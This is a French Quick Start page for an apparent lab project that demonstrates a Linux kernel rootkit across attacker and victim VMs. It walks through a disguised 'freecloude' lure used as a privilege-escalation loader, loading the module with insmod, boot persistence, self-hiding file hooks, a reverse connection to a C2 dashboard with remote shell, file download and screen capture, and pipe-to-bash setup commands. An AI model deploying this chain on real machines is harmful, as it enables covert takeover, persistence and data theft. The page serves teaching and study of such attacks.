Quick Start

Cette page lance le projet complet dans l'ordre. Elle est volontairement pratique: on tape, on vérifie, puis on revient lire les explications. Pour comprendre pourquoi cet ordre fonctionne, voir Cycle de vie, Vue d'ensemble du rootkit et Références techniques.

Images VM préconstruites

Pour éviter l'installation graphique complète, les deux images QEMU finales sont disponibles en archives qcow2.tar.zst:

VM	Télécharger
Attaquant	kozaci-attacker.qcow2.tar.zst
Victime	kozaci-victim.qcow2.tar.zst
Checksums	page checksums

Après téléchargement, utiliser la page checksums pour vérifier les archives.

Pour utiliser ces images, extraire les archives téléchargées depuis la racine du dépôt:

mkdir -p images
tar --zstd -xf /chemin/vers/kozaci-attacker.qcow2.tar.zst -C images
tar --zstd -xf /chemin/vers/kozaci-victim.qcow2.tar.zst -C images

Les fichiers finaux doivent être:

images/attacker.qcow2
images/victim.qcow2

Ensuite, lancer le setup host normalement. Comme les deux disques existent déjà, host-setup.sh prépare le réseau et démarre les VMs sans repasser par l'installation Ubuntu.

Une bonne pratique est de lancer le serveur de fichiers host avant de lancer les VMs pour s'assurer d'avoir les dernières versions des scripts et sources servis depuis le dépôt. host-setup.sh le fait déjà à la fin de sa préparation, mais serve-host.sh est utile si vous avez modifié le dépôt sans reconstruire les images VM. Si le rootkit a changé, relancez ensuite ~/build-demo-rootkit.sh côté attaquant pour republier le .ko.

./scripts/serve-host.sh

Ce script régénère served/wlkom-src.tar.gz et sert le dossier served/. Gardez-le ouvert pendant que vous relancez le setup dans la VM concernée avec wget -qO- http://10.0.2.2:8000/setup-attacker.sh | bash ou wget -qO- http://10.0.2.2:8000/setup-victim.sh | bash; elle récupérera alors les dernières versions disponibles sur le host.

1. Préparer le host

Depuis la racine du dépôt:

chmod +x scripts/*.sh utils/*.sh served/*.sh
./scripts/host-setup.sh

Le script prépare QEMU/KVM, le bridge br-wlkom, les TAP, l'ISO Ubuntu 22.04, l'archive served/wlkom-src.tar.gz et le serveur de fichiers host:

http://10.0.2.2:8000

Si les VMs existent déjà:

./scripts/serve-host.sh
./scripts/start-attacker.sh
./scripts/start-victim.sh

Pendant l'installation graphique Ubuntu, utiliser des identifiants simples:

Attaquant hostname: wlkom-attacker
Victime hostname:   wlkom-victim
Username:           user
Password:           user

Pourquoi ces valeurs? Les scripts essaient de s'adapter à l'utilisateur courant, mais le couple user/user évite les surprises pendant une démo. Ce n'est pas une règle kernel, juste un choix de labo.

2. Configurer la VM attaquante

Dans la VM attaquante:

wget -qO- http://10.0.2.2:8000/setup-attacker.sh | bash

Si un reboot est demandé:

sudo reboot
uname -r

Résultat attendu:

5.15.0-171-generic

Compiler et publier le payload:

~/build-demo-rootkit.sh

Lancer le panel:

~/start-attacker-panel.sh
~/open-attacker-dashboard.sh

URL attendue:

http://192.168.100.1:8080

Vérifier les ports:

ss -lntp | grep -E ':8080|:4444'
curl -fsS http://192.168.100.1:8080/api/rootkit/status

À ce moment, l'attaquant fait deux choses: Flask sert le dashboard sur 8080, et RootkitController attend une connexion kernel sur 4444.

3. Configurer la VM victime

Dans la VM victime:

wget -qO- http://10.0.2.2:8000/setup-victim.sh | bash

Si un reboot est demandé:

sudo reboot
uname -r
ip -brief addr

Résultats attendus:

5.15.0-171-generic
192.168.100.2/24

Ouvrir la page victime:

~/open-page.sh

Ou directement:

http://192.168.100.1:8080/freecloude

4. Charger le module

Depuis la page victime, télécharger freecloude.py, puis l'exécuter:

python3 ~/Downloads/freecloude.py

Choisir un mot de passe avec uniquement:

A-Z a-z 0-9 . _ -

Exemple:

Kozaci-2026

Le Python sert de loader d'élévation de privilèges. Une fois le contexte privilégié obtenu, il télécharge et lance freecloude.sh. Le .sh fait les opérations suivantes:

demande et confirme le mot de passe
télécharge wlkom.ko depuis http://192.168.100.1:8080/payload/rootkit-demo/wlkom.ko
vérifie que le vermagic du module correspond à uname -r
nettoie une ancienne persistance partielle
prépare /lib/modules/.../wlkom.ko, /etc/modules-load.d/wlkom.conf et /etc/modprobe.d/wlkom.conf
charge le module avec insmod attacker_ip=... command_port=... password=...
supprime la persistance préparée si insmod échoue
lance la connexion reverse en arrière-plan via le thread kernel.

Il installe aussi cloude-cli sur la victime. C'est un petit utilitaire local de type 8-ball:

cloude-cli talk "Est-ce que la demo va marcher ?"
cloude-cli oracle
cloude-cli answers

Ce même mot de passe sert ensuite au dashboard.

Le point important à retenir: la persistance est préparée avant insmod. Une fois actif, le module protège ses propres chemins avec des hooks comme openat, statx, access et unlinkat. Écrire le .ko persistant après activation serait donc se faire bloquer par son propre filtre.

5. Authentifier dans le dashboard

Retourner sur l'attaquant:

http://192.168.100.1:8080

Quand l'interface indique qu'une connexion est détectée et attend un mot de passe, saisir exactement celui choisi pendant le parcours victime lancé par freecloude.py.

Une fois connected=true, tester:

whoami && id && hostname
uname -a
pwd && ls -la

6. Tester les fonctions principales

Shell:

id
cat /etc/hostname

Fichiers:

ouvrir la vue Fichiers
explorer /etc ou /home/user
prévisualiser un petit fichier texte
télécharger un fichier
uploader un fichier vers /opt/wlkom_data/uploaded.bin.

Capture:

ouvrir Capture
lancer une capture d'écran
télécharger le PNG si la session graphique victime le permet.

Chiffrement:

lancer ~/start-wireshark-c2.sh côté attaquant
capturer le flux TCP 4444
utiliser la vue Decrypt avec le mot de passe et l'offset adapté.

Si les octets réseau ne ressemblent à rien, c'est normal: le canal est XORé avec une clé dérivée du mot de passe. Les détails sont dans Chiffrement.

7. Reboot victime

Pour vérifier la persistance:

sudo reboot

Laisser le panel attaquant ouvert. Après reboot, le module est rechargé par:

/etc/modules-load.d/wlkom.conf
/etc/modprobe.d/wlkom.conf

Le dashboard doit repasser par l'état needs_password=true, puis redevenir actif après saisie du même secret.

8. Nettoyer

Dans la victime:

bash ~/uninstall.sh

Sans reboot automatique:

bash ~/uninstall.sh --no-reboot

Par défaut, le désinstallateur redémarre pour terminer le nettoyage avant que le module ne se recharge. Il installe un service one-shot temporaire qui s'exécute au boot suivant, supprime la persistance et s'efface lui-même.

Dans l'attaquant:

~/kill-attacker-panel.sh

Sur le host, pour repartir de zéro:

./scripts/reset-vms.sh

Si ça bloque

Symptôme	Aller voir
`10.0.2.2:8000` ne répond pas	serveur de fichiers host
mauvais noyau	VM pas sur le bon noyau
`invalid module format`	vermagic
dashboard inaccessible	dashboard
session en attente	dashboard en attente
mot de passe refusé	mot de passe refusé

Quand un terme bloque, ouvrir Références techniques. Cette page explique les notions kernel une par une.

Images VM préconstruites​

1. Préparer le host​

2. Configurer la VM attaquante​

3. Configurer la VM victime​

4. Charger le module​

5. Authentifier dans le dashboard​

6. Tester les fonctions principales​

7. Reboot victime​

8. Nettoyer​

Si ça bloque​